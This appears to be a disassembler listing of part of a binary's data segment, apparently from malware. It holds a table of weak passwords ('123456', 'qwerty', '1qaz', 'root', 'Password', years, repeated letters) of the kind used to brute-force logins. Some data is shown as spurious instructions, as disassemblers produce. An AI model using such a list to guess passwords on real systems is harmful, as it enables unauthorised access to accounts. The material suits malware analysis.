		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aChi_0	; "CHI"
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_432C14	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
; ---------------------------------------------------------------------------
		cld
		jmp	short loc_42E431
; ---------------------------------------------------------------------------
		align 10h
		clc
		jmp	short loc_42E435
; ---------------------------------------------------------------------------
		align 4
		dd offset aZxc		; "zxc"
; ---------------------------------------------------------------------------
		dec	eax
		sub	eax, 0EBEC0043h
		inc	edx
		add	ah, ah
		jmp	short loc_42E445
; ---------------------------------------------------------------------------
		align 4
		fsub	st(3), st
		inc	edx
		add	al, bl
		jmp	short loc_42E44D
; ---------------------------------------------------------------------------
		align 4
		xchg	eax, esp
		test	byte ptr [edx+0], 68h
		sub	eax, 0EBD00043h
		inc	edx
		add	al, cl
		jmp	short loc_42E45D
; ---------------------------------------------------------------------------
		align 4
		dd offset aAsdfghj	; "asdfghj"
; ---------------------------------------------------------------------------
		mov	ah, 0EBh
		inc	edx
		add	[eax-5BFFBD15h], ch
		jmp	short loc_42E46D
; ---------------------------------------------------------------------------
		align 4
		mov	al, ds:9C0042EBh


loc_42E431:				; CODE XREF: seg002:0042E3EDj
		jmp	short loc_42E475
; ---------------------------------------------------------------------------
		align 4
		cwde


loc_42E435:				; CODE XREF: seg002:0042E3F1j
		jmp	short loc_42E479
; ---------------------------------------------------------------------------
		align 4
		xchg	eax, esp
		jmp	short loc_42E47D
; ---------------------------------------------------------------------------
		align 4
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		db 84h
; ---------------------------------------------------------------------------


loc_42E445:				; CODE XREF: seg002:0042E401j
		jmp	short loc_42E489
; ---------------------------------------------------------------------------
		align 4
		dd offset aBbbbb	; "bbbbb"
		db 74h
; ---------------------------------------------------------------------------


loc_42E44D:				; CODE XREF: seg002:0042E409j
		jmp	short loc_42E491
; ---------------------------------------------------------------------------
		align 10h
		dd offset aBbbbbbb	; "bbbbbbb"
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_42E499
; ---------------------------------------------------------------------------
		align 4
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
; ---------------------------------------------------------------------------
		push	eax


loc_42E45D:				; CODE XREF: seg002:0042E419j
		jmp	short loc_42E4A1
; ---------------------------------------------------------------------------
		align 10h
		dd offset aCc		; "cc"
; ---------------------------------------------------------------------------
		dec	eax
		jmp	short loc_42E4A9
; ---------------------------------------------------------------------------
		align 4
		dd offset aCccc_0	; "cccc"
		db 38h
; ---------------------------------------------------------------------------


loc_42E46D:				; CODE XREF: seg002:0042E429j
		jmp	short loc_42E4B1
; ---------------------------------------------------------------------------
		align 10h
		xor	bl, ch
		inc	edx
		add	[eax], ch


loc_42E475:				; CODE XREF: seg002:loc_42E431j
		jmp	short loc_42E4B9
; ---------------------------------------------------------------------------
		align 4
		db 1Ch
; ---------------------------------------------------------------------------


loc_42E479:				; CODE XREF: seg002:loc_42E435j
		jmp	short near ptr loc_42E4B9+4
; ---------------------------------------------------------------------------
		align 4
		db 10h
; ---------------------------------------------------------------------------


loc_42E47D:				; CODE XREF: seg002:0042E439j
		jmp	short loc_42E4C1
; ---------------------------------------------------------------------------
		align 10h
		or	al, 0EBh
		inc	edx
		add	[eax], cl
		jmp	short near ptr byte_42E4C9
; ---------------------------------------------------------------------------
		align 4
		db 4
; ---------------------------------------------------------------------------


loc_42E489:				; CODE XREF: seg002:loc_42E445j
		jmp	short loc_42E4CD
; ---------------------------------------------------------------------------
		align 4
		dd offset aDddd		; "dddd"
		db 0F4h
; ---------------------------------------------------------------------------


loc_42E491:				; CODE XREF: seg002:loc_42E44Dj
		jmp	far ptr	42h:0EAF00042h
; ---------------------------------------------------------------------------
		db 0ECh
; ---------------------------------------------------------------------------


loc_42E499:				; CODE XREF: seg002:0042E455j
		jmp	far ptr	42h:0EAE80042h
; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------


loc_42E4A1:				; CODE XREF: seg002:loc_42E45Dj
		jmp	far ptr	42h:0EAD80042h
; ---------------------------------------------------------------------------
		db 0D4h
; ---------------------------------------------------------------------------


loc_42E4A9:				; CODE XREF: seg002:0042E465j
		jmp	far ptr	42h:0EAD00042h
; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------


loc_42E4B1:				; CODE XREF: seg002:loc_42E46Dj
		jmp	far ptr	42h:0EAC40042h
; ---------------------------------------------------------------------------
		db 0BCh
; ---------------------------------------------------------------------------


loc_42E4B9:				; CODE XREF: seg002:loc_42E475j
					; seg002:loc_42E479j
		jmp	far ptr	42h:0EAB40042h
; ---------------------------------------------------------------------------
		db 0B0h
; ---------------------------------------------------------------------------


loc_42E4C1:				; CODE XREF: seg002:loc_42E47Dj
		jmp	far ptr	42h:0EAAC0042h
; ---------------------------------------------------------------------------
		db 0A8h
byte_42E4C9	db 0EAh, 42h, 0		; CODE XREF: seg002:0042E485j
		db 0A0h
; ---------------------------------------------------------------------------


loc_42E4CD:				; CODE XREF: seg002:loc_42E489j
		jmp	far ptr	42h:0EA980042h
; ---------------------------------------------------------------------------
		dd offset aGggggg	; "gggggg"
		dd offset asc_42EA8C	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_42E9FC	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM_0		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_4		; "s"
		dd offset aSs_1		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
; ---------------------------------------------------------------------------
		mov	eax, gs
		inc	edx
		add	[eax+ebp*8-1783FFBEh], al
		inc	edx
		add	[eax+ebp*8+42h], dh
		add	[eax-18h], dh
		inc	edx
		add	[eax+ebp*8+42h], ch
		add	[eax-18h], ch
		inc	edx
		add	[eax-18h], ah
		inc	edx
		add	[eax-18h], bl
		inc	edx
		add	[eax-18h], dl
		inc	edx
		add	ah, bh
		jmp	short loc_42E69D
; ---------------------------------------------------------------------------
		align 4
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		db 0C4h
; ---------------------------------------------------------------------------


loc_42E69D:				; CODE XREF: seg002:0042E659j
		out	42h, eax	; Timer	8253-5 (AT: 8254.2).
		add	[edi-184BFFBEh], bh
		inc	edx
		add	[edi-185BFFBEh], ch
		inc	edx
		add	[eax-67FFBD19h], ah
		out	42h, eax	; Timer	8253-5 (AT: 8254.2).
		add	[eax-77FFBD19h], dl
		out	42h, eax	; Timer	8253-5 (AT: 8254.2).
		add	[eax+780042E7h], al
		out	42h, eax	; Timer	8253-5 (AT: 8254.2).
		add	[eax-19h], dh
		inc	edx
		add	[eax-19h], ch
		inc	edx
		add	[eax-19h], ah
		inc	edx
		add	[eax-19h], bl
		inc	edx
		add	[eax], ah
		in	al, dx
		inc	edx
		add	[eax], ah
		xor	[ebx+0], al
		fdiv	dword ptr [eax]
		inc	ebx
		add	al, cl
		xor	[ebx+0], al
		sbb	[eax], dh
		inc	ebx
		add	[eax+esi], dl
		inc	ebx
		add	[eax+esi], cl
		inc	ebx
		add	[eax+esi], al
		inc	ebx
		add	[eax+65h], bh
		inc	edx
		add	ah, bh
		das
		inc	ebx
		add	al, dh
		das
		inc	ebx
		add	al, ch
		das
		inc	ebx
		add	al, ah
		das
		inc	ebx
		add	al, bl
		das
		inc	ebx
		add	al, dl
		das
		inc	ebx
		add	al, cl
		das
		inc	ebx
		add	al, al
		das
		inc	ebx
		add	[eax-4FFFBCD1h], bh
		das
		inc	ebx
		add	[eax-5FFFBCD1h], ch
		das
		inc	ebx
		add	[eax-6BFFBCD1h], bl
		das
		inc	ebx
		add	[edi+ebp+2F840043h], cl
		inc	ebx
		add	[eax+69h], dl
		inc	edx
		add	[edi+ebp+43h], bh
		add	[edi+ebp+43h], dh
		add	[edi+ebp+43h], ch
		add	[edi+ecx*4+43h], cl
; ---------------------------------------------------------------------------
		dw 0
dword_42E754	dd 10h			; DATA XREF: sub_40B059+72w
					; seg000:0040D999r ...
a142536		db '142536',0
		align 10h
a753951		db '753951',0
		align 4
a951753		db '951753',0
		align 10h
a159357		db '159357',0
		align 4
a753159		db '753159',0
		align 10h
a13579		db '13579',0
		align 4
a2684		db '2684',0
		align 10h
a2486		db '2486',0
		align 4
aMnbv		db 'mnbv',0
		align 10h
aMnb		db 'mnb',0
a112233		db '112233',0
		align 4
a3wsx		db '3wsx',0
		align 4
a3edc		db '3edc',0
		align 4
a2qaz		db '2qaz',0
		align 4
a2wsx		db '2wsx',0
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: seg002:0042E698o
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg002:0042E694o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: seg002:0042E690o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg002:0042E68Co
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg002:0042E688o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg002:0042E684o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg002:0042E680o
		align 10h
aQqww		db 'qqww',0             ; DATA XREF: seg002:0042E67Co
		align 4
aAass		db 'aass',0             ; DATA XREF: seg002:0042E678o
		align 10h
aZzxx		db 'zzxx',0             ; DATA XREF: seg002:0042E674o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg002:0042E670o
		align 10h
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg002:0042E66Co
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg002:0042E668o
		align 10h
aZzzz		db 'zzzz',0             ; DATA XREF: seg002:0042E664o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: seg002:0042E660o
aZz		db 'zz',0               ; DATA XREF: seg002:0042E65Co
		align 10h
aQqqqqq		db 'qqqqqq',0
		align 4
aQqqqq		db 'qqqqq',0
		align 10h
aQqqq		db 'qqqq',0
		align 4
aQqq		db 'qqq',0
aQq		db 'qq',0
		align 10h
aQ:
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0
		align 4
aWwwww		db 'wwwww',0
		align 4
aWwww		db 'wwww',0
		align 4
aWww		db 'www',0
aWw		db 'ww',0               ; DATA XREF: seg002:0042E62Co
		align 4
aW:					; DATA XREF: seg002:0042E628o
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: seg002:0042E624o
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: seg002:0042E620o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: seg002:0042E61Co
		align 10h
aVvv		db 'vvv',0              ; DATA XREF: seg000:0040F4B5o
					; seg002:0042E618o
aVv		db 'vv',0               ; DATA XREF: seg002:0042E614o
		align 4
aV:					; DATA XREF: seg002:0042E610o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: seg002:0042E60Co
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: seg002:0042E608o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: seg002:0042E604o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: seg002:0042E600o
aYy		db 'yy',0               ; DATA XREF: seg002:0042E5FCo
		align 4
aY:					; DATA XREF: seg002:0042E5F8o
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: seg002:0042E5F4o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: seg002:0042E5F0o
		align 10h
aTttt		db 'tttt',0             ; DATA XREF: seg002:0042E5ECo
		align 4
aTtt		db 'ttt',0              ; DATA XREF: seg002:0042E5E8o
aTt		db 'tt',0               ; DATA XREF: seg002:0042E5E4o
		align 10h
aT:					; DATA XREF: seg002:0042E5E0o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: seg002:0042E5DCo
		align 4
aSssss		db 'sssss',0            ; DATA XREF: seg002:0042E5D8o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: seg002:0042E5D4o
		align 4
aSss		db 'sss',0              ; DATA XREF: seg002:0042E5D0o
aSs_1		db 'ss',0               ; DATA XREF: seg002:0042E5CCo
		align 4
aS_4:					; DATA XREF: seg002:0042E5C8o
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: seg002:0042E5C4o
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: seg002:0042E5C0o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: seg002:0042E5BCo
		align 10h
aUuu		db 'uuu',0              ; DATA XREF: seg002:0042E5B8o
aUu		db 'uu',0               ; DATA XREF: seg002:0042E5B4o
		align 4
aU:					; DATA XREF: seg002:0042E5B0o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: seg002:0042E5ACo
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: seg002:0042E5A8o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: seg002:0042E5A4o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: seg002:0042E5A0o
aPp		db 'pp',0               ; DATA XREF: seg002:0042E59Co
		align 4
aP:					; DATA XREF: seg002:0042E598o
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: seg002:0042E594o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: seg002:0042E590o
		align 10h
aOooo		db 'oooo',0             ; DATA XREF: seg002:0042E58Co
		align 4
aOoo		db 'ooo',0              ; DATA XREF: seg002:0042E588o
aOo		db 'oo',0               ; DATA XREF: seg002:0042E584o
		align 10h
aO:					; DATA XREF: seg002:0042E580o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: seg002:0042E57Co
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: seg002:0042E578o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: seg002:0042E574o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: seg002:0042E570o
aNn		db 'nn',0               ; DATA XREF: seg002:0042E56Co
		align 4
aN:					; DATA XREF: seg002:0042E568o
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: seg002:0042E564o
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: seg002:0042E560o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: seg002:0042E55Co
		align 10h
aMmm		db 'mmm',0              ; DATA XREF: seg002:0042E558o
aMm		db 'mm',0               ; DATA XREF: seg002:0042E554o
		align 4
aM_0:					; DATA XREF: seg002:0042E550o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: seg002:0042E54Co
		align 4
aLllll		db 'lllll',0            ; DATA XREF: seg002:0042E548o
		align 4
aLlll		db 'llll',0             ; DATA XREF: seg002:0042E544o
		align 4
aLll		db 'lll',0              ; DATA XREF: seg002:0042E540o
aLl		db 'll',0               ; DATA XREF: seg002:0042E53Co
		align 4
asc_42E9FC:				; DATA XREF: seg002:0042E538o
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: seg002:0042E534o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: seg002:0042E530o
		align 10h
aKkkk		db 'kkkk',0             ; DATA XREF: seg002:0042E52Co
		align 4
aKkk		db 'kkk',0              ; DATA XREF: seg002:0042E528o
aKk		db 'kk',0               ; DATA XREF: seg002:0042E524o
		align 10h
aK:					; DATA XREF: seg002:0042E520o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: seg002:0042E51Co
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: seg002:0042E518o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: seg002:0042E514o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: seg002:0042E510o
aJj		db 'jj',0               ; DATA XREF: seg002:0042E50Co
		align 4
aJ:					; DATA XREF: seg002:0042E508o
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: seg002:0042E504o
		align 10h
aIiiii		db 'iiiii',0            ; DATA XREF: seg002:0042E500o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: seg002:0042E4FCo
		align 10h
aIii		db 'iii',0              ; DATA XREF: seg002:0042E4F8o
aIi		db 'ii',0               ; DATA XREF: seg002:0042E4F4o
		align 4
aI_0:					; DATA XREF: seg002:0042E4F0o
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: seg002:0042E4ECo
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: seg002:0042E4E8o
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: seg002:0042E4E4o
		align 4
aHhh		db 'hhh',0              ; DATA XREF: seg002:0042E4E0o
aHh		db 'hh',0               ; DATA XREF: seg002:0042E4DCo
		align 4
asc_42EA8C:				; DATA XREF: seg002:0042E4D8o
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: seg002:0042E4D4o
		align 4
aGgggg		db 'ggggg',0
		align 10h
aGggg		db 'gggg',0
		align 4
aGgg		db 'ggg',0
aGg		db 'gg',0
		align 10h
aG:
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0
		align 4
aEeeee		db 'eeeee',0
		align 4
aEeee		db 'eeee',0
		align 4
aEee		db 'eee',0
aEe		db 'ee',0
		align 4
aE:
		unicode	0, <e>,0
aFffff		db 'fffff',0
		align 10h
aFfff		db 'ffff',0
		align 4
aFff		db 'fff',0
aFf		db 'ff',0
		align 10h
aF:
		unicode	0, <f>,0
aDdddd		db 'ddddd',0
		align 4
aDddd		db 'dddd',0             ; DATA XREF: seg002:0042E48Co
		align 4
aDdd		db 'ddd',0
aDd_1		db 'dd',0
		align 4
aD:
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0
		align 4
aCccccccc	db 'cccccccc',0
		align 4
aCcccccc	db 'ccccccc',0
aCccccc		db 'cccccc',0
		align 4
aCcccc		db 'ccccc',0
		align 10h
aCccc_0		db 'cccc',0             ; DATA XREF: seg002:0042E468o
		align 4
aCcc		db 'ccc',0
aCc		db 'cc',0               ; DATA XREF: seg002:0042E460o
		align 10h
aC_1:
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: seg002:0042E458o
		align 10h
aBbbbbbbb	db 'bbbbbbbb',0
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: seg002:0042E450o
aBbbbbb		db 'bbbbbb',0
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: seg002:0042E448o
		align 4
aBbbb		db 'bbbb',0
		align 4
aBbb		db 'bbb',0              ; DATA XREF: seg002:0042E440o
aBb		db 'bb',0               ; DATA XREF: seg002:0042E43Co
		align 4
aB_0:
		unicode	0, <b>,0
aRfv		db 'rfv',0
aEdc		db 'edc',0
aWsx		db 'wsx',0
aQaz		db 'qaz',0
aAsdfghjkl	db 'asdfghjkl',0
		align 4
aAsdfghjk	db 'asdfghjk',0
		align 10h
aAsdfghj	db 'asdfghj',0          ; DATA XREF: seg002:0042E41Co
aAsdfgh		db 'asdfgh',0
		align 10h
aAsdfg		db 'asdfg',0
		align 4
aAs		db 'as',0
		align 4
aZxcvbnm	db 'zxcvbnm',0
aZxcvbn		db 'zxcvbn',0
		align 4
aZxcvb		db 'zxcvb',0
		align 4
aZxc		db 'zxc',0              ; DATA XREF: seg002:0042E3F4o
aZx		db 'zx',0
		align 4
aZ:
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: seg002:0042E3E8o
aToyota_0	db 'TOYOTA',0           ; DATA XREF: seg002:0042E3B0o
		align 10h
aKor		db 'KOR',0              ; DATA XREF: seg002:0042E3ACo
aKor_0		db 'kor',0              ; DATA XREF: seg002:0042E3A4o
aChi		db 'chi',0              ; DATA XREF: seg002:0042E3A0o
aChi_0		db 'CHI',0              ; DATA XREF: seg002:0042E39Co
aSystem		db 'system',0           ; DATA XREF: seg002:0042E394o
		align 4
aServices	db 'services',0         ; DATA XREF: seg002:0042E390o
		align 4
aServers	db 'servers',0          ; DATA XREF: seg002:0042E38Co
aServer_0	db 'server',0           ; DATA XREF: seg002:0042E384o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: seg002:0042E37Co
		align 10h
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: seg002:0042E378o
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: seg002:0042E374o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: seg002:0042E370o
aQwe		db 'qwe',0              ; DATA XREF: seg002:0042E360o
aQw		db 'qw',0               ; DATA XREF: seg002:0042E35Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: seg002:0042E358o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: seg002:0042E354o
		align 10h
